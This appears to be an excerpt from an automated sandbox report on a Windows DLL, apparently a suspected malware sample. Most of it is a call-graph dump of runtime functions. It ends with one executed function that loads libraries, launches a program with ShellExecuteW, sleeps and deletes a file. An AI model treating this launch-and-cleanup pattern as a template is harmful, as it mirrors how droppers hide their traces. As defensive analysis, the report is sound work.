180005019 17599->17600 17602 180004ee8 std::_System_error::_System_error 28 API calls 17600->17602 17601->16760 17602->17601 17604 180011768 std::exception::exception 26 API calls 17603->17604 17605 18000e120 17604->17605 17606 180011968 _CxxThrowException 2 API calls 17605->17606 17607 18000e13d 17606->17607 17622 1800048e0 17608->17622 17610 180007e5b std::ios_base::getloc 17629 180001e28 17610->17629 17613 180007ec6 17615 180001fdf 17613->17615 17666 18000e80c 17613->17666 17617 1800022bc 17615->17617 17919 18000215c 17617->17919 17621 180002017 17621->16445 17623 180006978 std::ios_base::_Init 48 API calls 17622->17623 17624 180004923 17623->17624 17625 18000eaf0 std::locale::_Locimp::_New_Locimp 28 API calls 17624->17625 17626 18000492d 17625->17626 17627 18000493c 17626->17627 17670 18000e540 17626->17670 17627->17610 17630 180001e4e std::_Lockit::_Lockit 17629->17630 17632 18000df68 std::_Lockit::~_Lockit LeaveCriticalSection 17630->17632 17633 180001e9d 17630->17633 17631 18000df68 std::_Lockit::~_Lockit LeaveCriticalSection 17634 180001f47 17631->17634 17632->17633 17642 180001ee4 17633->17642 17709 1800044b0 17633->17709 17634->17613 17643 180006978 17634->17643 17637 180001f1e 17722 18000e504 17637->17722 17641 180011968 _CxxThrowException 2 API calls 17641->17637 17642->17631 17644 18000698e 17643->17644 17645 1800069c0 17643->17645 17646 180006993 17644->17646 17648 180011968 _CxxThrowException 2 API calls 17644->17648 17645->17613 17647 1800069a6 17646->17647 17834 18000261c 17646->17834 17649 1800069be 17647->17649 17651 18000261c std::system_error::system_error 28 API calls 17647->17651 17648->17646 17654 18000261c std::system_error::system_error 28 API calls 17649->17654 17653 180006a18 17651->17653 17656 180011968 _CxxThrowException 2 API calls 17653->17656 17657 180006a40 17654->17657 17655 180011968 _CxxThrowException 2 API calls 17655->17647 17656->17649 17658 180011968 _CxxThrowException 2 API calls 17657->17658 17659 180006a5b 17658->17659 17662 180006a82 std::ios_base::_Init 17659->17662 17842 180004250 17659->17842 17664 180006adf 17662->17664 17665 180006978 std::ios_base::_Init 48 API calls 17662->17665 17663 18000ed40 fclose 43 API calls 17663->17662 17664->17613 17665->17664 17667 18000e824 std::_Lockit::_Lockit 17666->17667 17668 18000df68 std::_Lockit::~_Lockit LeaveCriticalSection 17667->17668 17669 18000e874 17668->17669 17669->17615 17672 18000e563 std::_Lockit::_Lockit 17670->17672 17671 18000e599 17695 18000df68 17671->17695 17672->17671 17680 18000e6e8 17672->17680 17676 18000e5d0 17676->17627 17681 18000eaf0 std::locale::_Locimp::_New_Locimp 28 API calls 17680->17681 17682 18000e6ff 17681->17682 17683 18000e577 17682->17683 17684 18000e434 _Yarn 26 API calls 17682->17684 17685 18000e754 17683->17685 17684->17683 17686 18000e766 17685->17686 17687 18000e582 17685->17687 17698 18000ea7c 17686->17698 17689 18000e434 17687->17689 17690 18000e451 17689->17690 17691 18000e480 _expandlocale 17689->17691 17692 18000e45b 17690->17692 17693 180011028 free 6 API calls 17690->17693 17691->17671 17692->17691 17694 180012510 malloc 26 API calls 17692->17694 17693->17692 17694->17691 17697 18000df73 17695->17697 17696 1800131b4 LeaveCriticalSection 17697->17676 17697->17696 17699 18000eab3 17698->17699 17700 18000ea8c _onexit 17698->17700 17703 180015cd0 17699->17703 17700->17687 17704 180015cd9 17703->17704 17705 1800196ac raise 14 API calls 17704->17705 17707 180015ce8 17704->17707 17705->17707 17706 180015d1a abort 17707->17706 17708 180016b68 _call_reportfault 6 API calls 17707->17708 17708->17706 17710 180001ef6 17709->17710 17711 1800044e9 17709->17711 17710->17637 17719 18001173c 17710->17719 17711->17710 17712 18000eaf0 std::locale::_Locimp::_New_Locimp 28 API calls 17711->17712 17714 1800044fa 17712->17714 17713 18000454f 17713->17710 17747 180002a5c 17713->17747 17714->17713 17725 18000234c 17714->17725 17720 180011768 std::exception::exception 26 API calls 17719->17720 17721 180001f0d 17720->17721 17721->17641 17723 18000eaf0 std::locale::_Locimp::_New_Locimp 28 API calls 17722->17723 17724 18000e517 17723->17724 17724->17642 17726 180002371 std::_Lockit::_Lockit 17725->17726 17727 1800023dd 17726->17727 17728 180011768 std::exception::exception 26 API calls 17726->17728 17762 18000e658 17727->17762 17730 1800023c0 17728->17730 17732 180011968 _CxxThrowException 2 API calls 17730->17732 17732->17727 17830 18000e6c4 17747->17830 17750 180002a78 17752 180002a8b 17750->17752 17753 180011028 free 6 API calls 17750->17753 17751 180011028 free 6 API calls 17751->17750 17754 180002a9e 17752->17754 17755 180011028 free 6 API calls 17752->17755 17753->17752 17756 180002ab1 17754->17756 17757 180011028 free 6 API calls 17754->17757 17755->17754 17758 180011028 free 6 API calls 17756->17758 17759 180002ac4 17756->17759 17757->17756 17758->17759 17760 180002ad7 17759->17760 17761 180011028 free 6 API calls 17759->17761 17761->17760 17769 180015234 17762->17769 17764 18000e671 17765 18000e434 _Yarn 26 API calls 17764->17765 17766 18000e68b 17765->17766 17767 180015234 setlocale 62 API calls 17766->17767 17768 18000e69a 17766->17768 17767->17768 17770 180015266 17769->17770 17771 1800152ff 17769->17771 17772 18001d890 _Wcsftime 33 API calls 17770->17772 17773 18001c248 _wsetlocale 55 API calls 17771->17773 17774 18001527f 17772->17774 17775 18001530b 17773->17775 17776 1800152ea 17774->17776 17780 180015030 _calloc_crt 6 API calls 17774->17780 17777 180011028 free 6 API calls 17775->17777 17778 180016cec _invoke_watson 6 API calls 17776->17778 17779 180015316 17777->17779 17778->17771 17782 18001a32c _getptd 30 API calls 17779->17782 17792 18001529f 17779->17792 17781 180015297 17780->17781 17785 18001d890 _Wcsftime 33 API calls 17781->17785 17781->17792 17783 180015320 17782->17783 17784 18001dbe0 _wcstombs_s_l 34 API calls 17783->17784 17793 180015361 17784->17793 17786 1800152be 17785->17786 17788 1800152d6 17786->17788 17791 1800152c8 17786->17791 17787 180015473 17789 180016cec _invoke_watson 6 API calls 17787->17789 17790 180016cec _invoke_watson 6 API calls 17788->17790 17789->17792 17790->17776 17791->17771 17794 1800152cc 17791->17794 17792->17764 17793->17787 17793->17792 17796 1800150b0 _malloc_crt 27 API calls 17793->17796 17795 180011028 free 6 API calls 17794->17795 17795->17792 17797 180015389 17796->17797 17797->17792 17798 18001dbe0 _wcstombs_s_l 34 API calls 17797->17798 17799 1800153bb 17798->17799 17800 18001545e 17799->17800 17802 1800153cd 17799->17802 17801 180016cec _invoke_watson 6 API calls 17800->17801 17801->17787 17803 180011028 free 6 API calls 17802->17803 17804 18001540f 17802->17804 17803->17804 17804->17792 17805 180011028 free 6 API calls 17804->17805 17805->17792 17831 180002a6a 17830->17831 17832 18000e6cf 17830->17832 17831->17750 17831->17751 17833 180015234 setlocale 62 API calls 17832->17833 17833->17831 17835 18000265e _cftoe2_l 17834->17835 17836 18000547c std::system_error::system_error 28 API calls 17835->17836 17837 180002676 17836->17837 17849 1800023f8 17837->17849 17839 180002692 17840 1800121d0 _fltout2 2 API calls 17839->17840 17841 1800026bf 17840->17841 17841->17655 17845 18000428f _cftoa_l 17842->17845 17847 1800042a9 17842->17847 17843 1800121d0 _fltout2 2 API calls 17844 1800043d2 17843->17844 17844->17663 17845->17847 17866 18000f654 17845->17866 17879 1800050c8 17845->17879 17847->17843 17850 180005394 std::_System_error::_System_error 28 API calls 17849->17850 17851 180002449 17850->17851 17858 180004b50 17851->17858 17854 180011768 std::exception::exception 26 API calls 17855 18000247d 17854->17855 17856 1800121d0 _fltout2 2 API calls 17855->17856 17857 1800024b8 17856->17857 17857->17839 17859 180004ba8 std::_System_error::_System_error 17858->17859 17860 180004b8a _cftoe2_l 17858->17860 17862 180004ee8 std::_System_error::_System_error 28 API calls 17859->17862 17861 180004fd0 std::_System_error::_System_error 28 API calls 17860->17861 17861->17859 17863 180004bc8 std::_System_error::_System_error 17862->17863 17864 1800121d0 _fltout2 2 API calls 17863->17864 17865 180002462 17864->17865 17865->17854 17867 18000f67e 17866->17867 17878 18000f69f 17866->17878 17868 18000f6a1 17867->17868 17869 18000f68f 17867->17869 17867->17878 17871 180010250 fgets EnterCriticalSection 17868->17871 17870 180015d98 _errno 6 API calls 17869->17870 17872 18000f694 17870->17872 17873 18000f6a9 17871->17873 17875 180016ccc _invalid_parameter_noinfo 7 API calls 17872->17875 17886 18000f4c4 17873->17886 17875->17878 17877 1800102ec _unlock_file 2 API calls 17877->17878 17878->17845 17880 1800050f9 17879->17880 17881 180005180 17879->17881 17883 180004594 std::system_error::system_error 28 API calls 17880->17883 17885 180005110 _cftoa_l 17880->17885 17882 18000e0d0 std::_System_error::_System_error 28 API calls 17881->17882 17884 18000518c 17882->17884 17883->17885 17885->17845 17888 18000f4f2 17886->17888 17893 18000f50c 17886->17893 17887 18000f4fc 17889 180015d98 _errno 6 API calls 17887->17889 17888->17887 17888->17893 17896 18000f53e _expandlocale 17888->17896 17890 18000f501 17889->17890 17891 180016ccc _invalid_parameter_noinfo 7 API calls 17890->17891 17891->17893 17893->17877 17894 18000edf4 _flush 38 API calls 17894->17896 17895 180016d28 _fileno 13 API calls 17895->17896 17896->17893 17896->17894 17896->17895 17897 180016fe0 _write 38 API calls 17896->17897 17898 180018110 17896->17898 17897->17896 17899 180016d28 _fileno 13 API calls 17898->17899 17900 180018132 17899->17900 17901 180018154 17900->17901 17902 18001813d 17900->17902 17904 180018159 17901->17904 17913 180018166 _flsbuf 17901->17913 17903 180015d98 _errno 6 API calls 17902->17903 17912 180018142 17903->17912 17905 180015d98 _errno 6 API calls 17904->17905 17905->17912 17906 1800181cb 17907 180018263 17906->17907 17908 1800181d8 17906->17908 17909 180016fe0 _write 38 API calls 17907->17909 17910 1800181f4 17908->17910 17915 18001820d 17908->17915 17909->17912 17911 180016fe0 _write 38 API calls 17910->17911 17911->17912 17912->17896 17913->17906 17913->17912 17914 18001ee70 _isatty 13 API calls 17913->17914 17916 1800181bf 17913->17916 17914->17916 17915->17912 17917 18001829c _lseeki64 15 API calls 17915->17917 17916->17906 17918 180018f14 _getbuf 27 API calls 17916->17918 17917->17912 17918->17906 17920 18000eaf0 std::locale::_Locimp::_New_Locimp 28 API calls 17919->17920 17921 18000217d 17920->17921 17922 18000218c 17921->17922 17923 18000e540 std::locale::_Init 30 API calls 17921->17923 17924 1800047ec 17922->17924 17923->17922 17925 18000481b 17924->17925 17930 180004847 _expandlocale 17924->17930 17927 18000eaf0 std::locale::_Locimp::_New_Locimp 28 API calls 17925->17927 17929 18000483b 17925->17929 17925->17930 17926 18000e08c std::_Xbad_alloc 2 API calls 17928 1800048df 17926->17928 17927->17929 17929->17926 17929->17930 17930->17621 17932 180001af9 17931->17932 17939 1800049dc 17932->17939 17934 180001c3f 17934->16445 17935 180006978 std::ios_base::_Init 48 API calls 17935->17934 17936 180001b68 17936->17934 17936->17935 17937 1800050c8 std::ios_base::_Init 28 API calls 17938 180001b0a 17937->17938 17938->17936 17938->17937 17940 180004a0e 17939->17940 17948 180004acf 17939->17948 17944 180004a1c std::ios_base::getloc 17940->17944 17949 180007a4c 17940->17949 17941 180006978 std::ios_base::_Init 48 API calls 17943 180004b08 17941->17943 17943->17938 17945 180001e28 65 API calls 17944->17945 17944->17948 17946 180004a4c 17945->17946 17947 180006978 std::ios_base::_Init 48 API calls 17946->17947 17946->17948 17947->17948 17948->17941 17948->17943 17950 180007a71 17949->17950 17951 180007ad6 17949->17951 17957 180002560 17950->17957 17951->17944 17954 180007ac2 17954->17951 17961 180004c20 17954->17961 17955 180006978 std::ios_base::_Init 48 API calls 17955->17954 17958 180002592 17957->17958 17959 1800025bb 17958->17959 17960 180007a4c 48 API calls 17958->17960 17959->17954 17959->17955 17960->17959 17962 180004c7c 17961->17962 17963 180004c40 17961->17963 17962->17951 17963->17962 17964 180006978 std::ios_base::_Init 48 API calls 17963->17964 17964->17962 17966 180004d96 17965->17966 17967 180004dde 17965->17967 17968 180004db2 17966->17968 17969 180004de3 17966->17969 17967->16590 17973 180004c84 17968->17973 17970 18000e0d0 std::_System_error::_System_error 28 API calls 17969->17970 17971 180004def 17970->17971 17974 180004cb4 17973->17974 17978 180004ce4 17973->17978 17975 180004ccf 17974->17975 17976 18000eaf0 std::locale::_Locimp::_New_Locimp 28 API calls 17974->17976 17977 18000e08c std::_Xbad_alloc 2 API calls 17975->17977 17975->17978 17976->17975 17977->17978 17978->17967 17980 1800056af 17979->17980 17983 18000565c 17979->17983 18004 180004660 17980->18004 17982 1800056ad _expandlocale 17982->16465 17983->17980 17984 180005687 17983->17984 17986 180005540 17984->17986 17987 18000561d 17986->17987 17988 18000556f 17986->17988 17991 18000e108 std::_System_error::_System_error 28 API calls 17987->17991 17989 1800055ac 17988->17989 17990 18000557e 17988->17990 17994 180004660 28 API calls 17989->17994 17992 180005629 17990->17992 17993 18000558c 17990->17993 17991->17992 17995 18000e108 std::_System_error::_System_error 28 API calls 17992->17995 18011 180007794 17993->18011 17999 1800055aa _expandlocale 17994->17999 18000 180005636 17995->18000 17997 1800056af 17998 180004660 28 API calls 17997->17998 18001 1800056ad _expandlocale 17998->18001 17999->17982 18000->17997 18002 180005687 18000->18002 18001->17982 18003 180005540 28 API calls 18002->18003 18003->18001 18005 180004692 18004->18005 18006 180004728 18004->18006 18010 1800046a3 _expandlocale 18005->18010 18016 180004128 18005->18016 18007 18000e0d0 std::_System_error::_System_error 28 API calls 18006->18007 18009 180004734 18007->18009 18009->17982 18010->17982 18012 180007837 18011->18012 18015 1800077b6 _expandlocale 18011->18015 18013 18000e108 std::_System_error::_System_error 28 API calls 18012->18013 18014 180007843 18013->18014 18015->17999 18017 180004166 18016->18017 18018 1800041c1 18017->18018 18020 18000eaf0 std::locale::_Locimp::_New_Locimp 28 API calls 18017->18020 18021 1800041ce _expandlocale 18017->18021 18019 18000e08c std::_Xbad_alloc 2 API calls 18018->18019 18018->18021 18019->18021 18020->18018 18021->18010 18023 180003b8b SHGetPathFromIDListW 18022->18023 18023->16469 18025 1800081f6 18024->18025 18026 18000833e 18024->18026 18025->18026 18029 180008332 18025->18029 18030 180008222 18025->18030 18027 18000e108 std::_System_error::_System_error 28 API calls 18026->18027 18028 18000834b 18027->18028 18031 18000e0d0 std::_System_error::_System_error 28 API calls 18029->18031 18032 180004660 28 API calls 18030->18032 18033 180008240 _expandlocale 18030->18033 18031->18026 18032->18033 18033->16480 18035 180005264 18034->18035 18036 18000e108 std::_System_error::_System_error 28 API calls 18035->18036 18037 180005270 18036->18037 18038 18000e0d0 std::_System_error::_System_error 28 API calls 18037->18038 18045 18000527d 18038->18045 18039 1800052fd 18040 180005386 18039->18040 18041 18000530d 18039->18041 18042 18000e0d0 std::_System_error::_System_error 28 API calls 18040->18042 18044 180004660 28 API calls 18041->18044 18047 180005324 _expandlocale 18041->18047 18043 180005392 18042->18043 18044->18047 18045->18039 18046 180005190 28 API calls 18045->18046 18046->18039 18047->16480 18049 18000868f 18048->18049 18050 180008656 18048->18050 18049->16488 18054 18000ea4c 18050->18054 18052 180008663 std::ios_base::_Init 18052->18049 18064 180001cf8 18052->18064 18056 18000e950 18054->18056 18055 18000e9e6 18057 1800155c4 _wfsopen 64 API calls 18055->18057 18061 18000e9eb 18055->18061 18056->18055 18060 18000e9c6 18056->18060 18078 1800155c4 18056->18078 18058 18000ea08 18057->18058 18058->18060 18097 180015550 18058->18097 18060->18052 18061->18060 18063 18000ed40 fclose 43 API calls 18061->18063 18063->18060 18065 180001d1e std::_Lockit::_Lockit 18064->18065 18067 18000df68 std::_Lockit::~_Lockit LeaveCriticalSection 18065->18067 18070 180001d6d 18065->18070 18066 180001db4 18068 18000df68 std::_Lockit::~_Lockit LeaveCriticalSection 18066->18068 18067->18070 18069 180001e17 18068->18069 18069->18049 18070->18066 18321 1800043ec 18070->18321 18073 180001dee 18077 18000e504 std::_Facet_Register 28 API calls 18073->18077 18074 18001173c std::bad_exception::bad_exception 26 API calls 18075 180001ddd 18074->18075 18076 180011968 _CxxThrowException 2 API calls 18075->18076 18076->18073 18077->18066 18079 1800155f5 18078->18079 18080 18001560c 18078->18080 18081 180015d98 _errno 6 API calls 18079->18081 18080->18079 18083 180015627 18080->18083 18082 1800155fa 18081->18082 18085 180016ccc _invalid_parameter_noinfo 7 API calls 18082->18085 18084 18001dccc _getstream 30 API calls 18083->18084 18086 18001562c 18084->18086 18096 180015605 _ioinit 18085->18096 18087 180015646 18086->18087 18088 180015639 18086->18088 18090 18001564c 18087->18090 18091 18001566e 18087->18091 18089 180015d98 _errno 6 API calls 18088->18089 18089->18096 18092 180015d98 _errno 6 API calls 18090->18092 18110 18001e2e0 18091->18110 18092->18096 18095 1800102ec _unlock_file 2 API calls 18095->18096 18096->18055 18098 180015578 18097->18098 18099 18001558d 18097->18099 18100 180015d98 _errno 6 API calls 18098->18100 18099->18098 18101 180015593 18099->18101 18102 18001557d 18100->18102 18103 180010250 fgets EnterCriticalSection 18101->18103 18104 180016ccc _invalid_parameter_noinfo 7 API calls 18102->18104 18105 180015598 18103->18105 18107 180015588 18104->18107 18222 1800154a4 18105->18222 18107->18061 18109 1800102ec _unlock_file 2 API calls 18109->18107 18118 18001e325 TestDefaultCountry 18110->18118 18111 18001e347 18112 180015d98 _errno 6 API calls 18111->18112 18113 18001e34c 18112->18113 18114 180016ccc _invalid_parameter_noinfo 7 API calls 18113->18114 18116 18001567f 18114->18116 18115 18001e55b 18142 180024be8 18115->18142 18116->18095 18118->18111 18124 18001e4f3 18118->18124 18125 180024c1c 18118->18125 18120 18001e4ef 18121 180024c1c LangCountryEnumProcEx 31 API calls 18120->18121 18120->18124 18122 18001e512 18121->18122 18123 180024c1c LangCountryEnumProcEx 31 API calls 18122->18123 18122->18124 18123->18124 18124->18111 18124->18115 18126 180024c32 18125->18126 18128 180024caa 18125->18128 18127 180015d98 _errno 6 API calls 18126->18127 18132 180024c5b 18126->18132 18130 180024c41 18127->18130 18129 180024cea 18128->18129 18133 180024d09 18128->18133 18141 180024cfa 18128->18141 18131 180015d98 _errno 6 API calls 18129->18131 18134 180016ccc _invalid_parameter_noinfo 7 API calls 18130->18134 18135 180024cef 18131->18135 18132->18120 18136 1800122dc _LocaleUpdate::_LocaleUpdate 30 API calls 18133->18136 18137 180024c4c 18134->18137 18138 180016ccc _invalid_parameter_noinfo 7 API calls 18135->18138 18140 180024d16 18136->18140 18137->18120 18138->18141 18139 180024dcc 31 API calls _towlower_l 18139->18140 18140->18139 18140->18141 18141->18120 18145 180024350 18142->18145 18146 18002437e 18145->18146 18147 180024396 18145->18147 18148 180015d98 _errno 6 API calls 18146->18148 18147->18146 18149 1800243c3 18147->18149 18150 180024383 18148->18150 18156 180024430 18149->18156 18152 180016ccc _invalid_parameter_noinfo 7 API calls 18150->18152 18154 18002438f 18152->18154 18153 1800243e1 18153->18154 18221 18001ee44 LeaveCriticalSection 18153->18221 18154->18116 18157 18002447b 18156->18157 18158 18001fcb8 _get_daylight 13 API calls 18157->18158 18167 180024493 18158->18167 18159 180016cec _invoke_watson 6 API calls 18160 180024be6 18159->18160 18161 180024350 _wsopen_helper 56 API calls 18160->18161 18164 180024c15 18161->18164 18162 1800244d3 18163 180015d28 _read_nolock 6 API calls 18162->18163 18165 1800244d8 18163->18165 18164->18153 18166 180015d98 _errno 6 API calls 18165->18166 18168 1800244e2 18166->18168 18167->18162 18171 1800245af 18167->18171 18194 180024732 18167->18194 18169 180016ccc _invalid_parameter_noinfo 7 API calls 18168->18169 18170 1800244ee 18169->18170 18170->18153 18172 18001ea7c _alloc_osfhnd 27 API calls 18171->18172 18173 180024645 18172->18173 18174 180015d28 _read_nolock 6 API calls 18173->18174 18184 180024666 18173->18184 18176 180024651 18174->18176 18175 180024260 __createFile CreateFileW 18180 18002469e 18175->18180 18177 180015d98 _errno 6 API calls 18176->18177 18179 18002465b 18177->18179 18178 180024739 _ioinit 18185 180024792 18178->18185 18186 180024746 _read_nolock 18178->18186 18182 180015d98 _errno 6 API calls 18179->18182 18180->18178 18181 1800246fe _read_nolock 18180->18181 18183 180024260 __createFile CreateFileW 18180->18183 18188 180015d48 _dosmaperr 6 API calls 18181->18188 18182->18184 18187 1800246f4 18183->18187 18184->18175 18191 18001ed94 _set_osfhnd 7 API calls 18185->18191 18192 180015d48 _dosmaperr 6 API calls 18186->18192 18187->18178 18187->18181 18189 18002472d 18188->18189 18190 180015d98 _errno 6 API calls 18189->18190 18190->18194 18198 1800247b1 18191->18198 18193 180024777 CloseHandle 18192->18193 18193->18189 18195 180024785 18193->18195 18194->18159 18196 180015d98 _errno 6 API calls 18195->18196 18197 18002478a 18196->18197 18197->18189 18199 180018384 _lseeki64_nolock 14 API calls 18198->18199 18200 1800249d6 18198->18200 18215 180024830 18198->18215 18201 180024821 18199->18201 18200->18194 18203 180024b3e CloseHandle 18200->18203 18202 180015d28 _read_nolock 6 API calls 18201->18202 18201->18215 18202->18215 18204 180024260 __createFile CreateFileW 18203->18204 18211 180024b77 _read_nolock 18204->18211 18205 18001f1a4 34 API calls _read_nolock 18205->18215 18206 180016e14 _close_nolock 15 API calls 18206->18215 18207 180024864 18209 1800277d4 _chsize_nolock 42 API calls 18207->18209 18207->18215 18208 180024bac 18208->18194 18209->18207 18210 180018384 14 API calls _lseeki64_nolock 18210->18215 18211->18208 18212 180015d48 _dosmaperr 6 API calls 18211->18212 18214 180024b8a 18212->18214 18213 180016fe0 _write 38 API calls 18213->18215 18217 18001ec74 _free_osfhnd 7 API calls 18214->18217 18215->18200 18215->18205 18215->18206 18215->18207 18215->18210 18215->18213 18216 1800249ee 18215->18216 18218 180016e14 _close_nolock 15 API calls 18216->18218 18217->18208 18219 1800249f5 18218->18219 18220 180015d98 _errno 6 API calls 18219->18220 18220->18194 18223 1800154d7 18222->18223 18224 1800154c7 18222->18224 18229 1800154ea 18223->18229 18234 18001de04 18223->18234 18225 180015d98 _errno 6 API calls 18224->18225 18226 1800154cc 18225->18226 18226->18109 18228 18000edf4 _flush 38 API calls 18230 1800154f6 18228->18230 18229->18228 18231 180016d28 _fileno 13 API calls 18230->18231 18232 180015522 18231->18232 18262 18001e118 18232->18262 18235 18001de26 __crtLCMapStringA_stat 18234->18235 18236 18001de45 18235->18236 18237 18001de5d 18235->18237 18239 180015d98 _errno 6 API calls 18236->18239 18238 180016d28 _fileno 13 API calls 18237->18238 18240 18001de62 18238->18240 18241 18001de4a 18239->18241 18243 18001e118 _lseek 17 API calls 18240->18243 18242 180016ccc _invalid_parameter_noinfo 7 API calls 18241->18242 18261 18001de55 18242->18261 18244 18001de7a 18243->18244 18247 18001dff3 18244->18247 18248 18001ded5 18244->18248 18244->18261 18245 1800121d0 _fltout2 2 API calls 18246 18001e0f4 18245->18246 18246->18229 18249 18001dff7 18247->18249 18253 18001dfc9 18247->18253 18251 18001deea 18248->18251 18248->18253 18250 180015d98 _errno 6 API calls 18249->18250 18250->18261 18251->18261 18284 18001829c 18251->18284 18255 18001e118 _lseek 17 API calls 18253->18255 18253->18261 18257 18001e03d 18255->18257 18256 18001df23 ReadFile 18258 18001df4d 18256->18258 18256->18261 18260 18001e118 _lseek 17 API calls 18257->18260 18257->18261 18259 18001e118 _lseek 17 API calls 18258->18259 18259->18261 18260->18261 18261->18245 18263 18001e153 18262->18263 18264 18001e13b 18262->18264 18265 18001e1cc 18263->18265 18270 18001e186 __lock_fhandle 18263->18270 18266 180015d28 _read_nolock 6 API calls 18264->18266 18267 180015d28 _read_nolock 6 API calls 18265->18267 18268 18001e140 18266->18268 18271 18001e1d1 18267->18271 18269 180015d98 _errno 6 API calls 18268->18269 18283 18001e148 18269->18283 18274 18001e19a 18270->18274 18275 18001e1ab 18270->18275 18272 180015d98 _errno 6 API calls 18271->18272 18273 18001e1d9 18272->18273 18276 180016ccc _invalid_parameter_noinfo 7 API calls 18273->18276 18307 18001e1fc 18274->18307 18278 180015d98 _errno 6 API calls 18275->18278 18276->18283 18280 18001e1b0 18278->18280 18279 18001e1a7 18320 18001ee44 LeaveCriticalSection 18279->18320 18281 180015d28 _read_nolock 6 API calls 18280->18281 18281->18279 18283->18226 18285 1800182d7 18284->18285 18286 1800182bf 18284->18286 18288 180018353 18285->18288 18292 18001830a __lock_fhandle 18285->18292 18287 180015d28 _read_nolock 6 API calls 18286->18287 18290 1800182c4 18287->18290 18289 180015d28 _read_nolock 6 API calls 18288->18289 18291 180018358 18289->18291 18293 180015d98 _errno 6 API calls 18290->18293 18294 180015d98 _errno 6 API calls 18291->18294 18297 18001831e 18292->18297 18298 180018330 18292->18298 18305 1800182cc 18293->18305 18295 180018360 18294->18295 18296 180016ccc _invalid_parameter_noinfo 7 API calls 18295->18296 18296->18305 18299 180018384 _lseeki64_nolock 14 API calls 18297->18299 18300 180015d98 _errno 6 API calls 18298->18300 18301 18001832b 18299->18301 18302 180018335 18300->18302 18306 18001ee44 LeaveCriticalSection 18301->18306 18303 180015d28 _read_nolock 6 API calls 18302->18303 18303->18301 18305->18256 18305->18261 18308 18001ed20 _get_osfhandle 13 API calls 18307->18308 18309 18001e220 18308->18309 18310 18001e229 18309->18310 18311 18001e23c SetFilePointerEx 18309->18311 18312 180015d98 _errno 6 API calls 18310->18312 18313 18001e265 SetFilePointerEx 18311->18313 18314 18001e256 _read_nolock 18311->18314 18317 18001e22e 18312->18317 18313->18314 18315 18001e27d 18313->18315 18319 180015d48 _dosmaperr 6 API calls 18314->18319 18316 18001e284 SetFilePointerEx 18315->18316 18315->18317 18318 180015d98 _errno 6 API calls 18316->18318 18317->18279 18318->18317 18319->18317 18322 180001dc6 18321->18322 18323 180004420 18321->18323 18322->18073 18322->18074 18323->18322 18324 18000eaf0 std::locale::_Locimp::_New_Locimp 28 API calls 18323->18324 18326 18000442d 18324->18326 18325 180004465 18325->18322 18328 180002a5c ctype 62 API calls 18325->18328 18326->18325 18327 18000234c std::_Locinfo::_Locinfo 64 API calls 18326->18327 18327->18325 18328->18322 18330 180007786 18329->18330 18333 18000770e _expandlocale 18329->18333 18331 18000e108 std::_System_error::_System_error 28 API calls 18330->18331 18332 180007792 18331->18332 18333->16511 18337 180018ea4 18334->18337 18338 180018eb2 18337->18338 18339 180018ef9 18337->18339 18338->18339 18342 180018ebc 18338->18342 18340 180015d98 _errno 6 API calls 18339->18340 18341 180018ef1 18340->18341 18344 180016ccc _invalid_parameter_noinfo 7 API calls 18341->18344 18348 180018dbc 18342->18348 18346 180010013 18344->18346 18346->16518 18347 180015d98 _errno 6 API calls 18347->18341 18351 180018df8 _cftoa_l 18348->18351 18349 180018dfd 18350 180015d98 _errno 6 API calls 18349->18350 18352 180018e02 18350->18352 18351->18349 18354 180018e1c 18351->18354 18353 180016ccc _invalid_parameter_noinfo 7 API calls 18352->18353 18355 180018e0d 18353->18355 18354->18355 18356 180018110 _flsbuf 41 API calls 18354->18356 18355->18346 18355->18347 18356->18355 18358 1800080d7 18357->18358 18364 180008086 18357->18364 18359 1800081a3 18358->18359 18360 1800080e4 18358->18360 18363 18000e108 std::_System_error::_System_error 28 API calls 18359->18363 18361 1800080f4 18360->18361 18362 1800081af 18360->18362 18366 180004594 std::system_error::system_error 28 API calls 18361->18366 18370 1800080d2 _expandlocale 18361->18370 18365 18000e0d0 std::_System_error::_System_error 28 API calls 18362->18365 18363->18362 18364->18358 18368 1800080ad 18364->18368 18367 1800081bc 18365->18367 18366->18370 18371 180007ee4 18368->18371 18370->16526 18372 180007f15 18371->18372 18373 18000804c 18371->18373 18372->18373 18375 180007f41 18372->18375 18376 180008040 18372->18376 18374 18000e108 std::_System_error::_System_error 28 API calls 18373->18374 18388 180008059 18374->18388 18378 180004594 std::system_error::system_error 28 API calls 18375->18378 18384 180007f5c _expandlocale 18375->18384 18377 18000e0d0 std::_System_error::_System_error 28 API calls 18376->18377 18377->18373 18378->18384 18379 1800080d7 18380 1800081a3 18379->18380 18381 1800080e4 18379->18381 18385 18000e108 std::_System_error::_System_error 28 API calls 18380->18385 18382 1800080f4 18381->18382 18383 1800081af 18381->18383 18387 180004594 std::system_error::system_error 28 API calls 18382->18387 18392 1800080d2 _expandlocale 18382->18392 18386 18000e0d0 std::_System_error::_System_error 28 API calls 18383->18386 18384->18370 18385->18383 18389 1800081bc 18386->18389 18387->18392 18388->18379 18390 1800080ad 18388->18390 18391 180007ee4 28 API calls 18390->18391 18391->18392 18392->18370 18394 180002560 48 API calls 18393->18394 18395 180008d5b 18394->18395 18396 180006978 std::ios_base::_Init 48 API calls 18395->18396 18397 180008e07 18395->18397 18396->18397 18398 180001a8f 18397->18398 18399 180004c20 48 API calls 18397->18399 18398->16552 18399->18398

                                                                                              Executed Functions

                                                                                              Function 0000000180005710 Relevance: 51.6, APIs: 17, Strings: 12, Instructions: 847sleeplibraryfileCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 0 180005710-1800057ca call 180003cfc call 180007afc call 180003948 7 1800057cc 0->7 8 1800057cf-18000583c call 180002f78 call 180003b3c call 1800016d0 call 1800015f4 call 1800016d0 0->8 7->8 19 18000584a-18000586d 8->19 20 18000583e-180005845 call 18000eabc 8->20 21 18000587b-180005898 19->21 22 18000586f-180005876 call 18000eabc 19->22 20->19 25 1800058a6-1800058c3 21->25 26 18000589a-1800058a1 call 18000eabc 21->26 22->21 28 1800058d1-1800058ef 25->28 29 1800058c5-1800058cc call 18000eabc 25->29 26->25 31 1800058f1-1800058f8 call 18000eabc 28->31 32 1800058fd-180005946 call 180002028 28->32 29->28 31->32 36 18000594c 32->36 37 180005ba0-180005d86 call 180006a5c call 1800018e4 LoadLibraryW call 18002a158 ShellExecuteW LoadLibraryW call 18002a158 Sleep DeleteFileW call 180003948 32->37 38 180005950-1800059c4 call 180005394 call 18000945c call 1800014c4 36->38 60 180005d88 37->60 61 180005d8b-180005dd5 call 180002f78 call 180003b3c 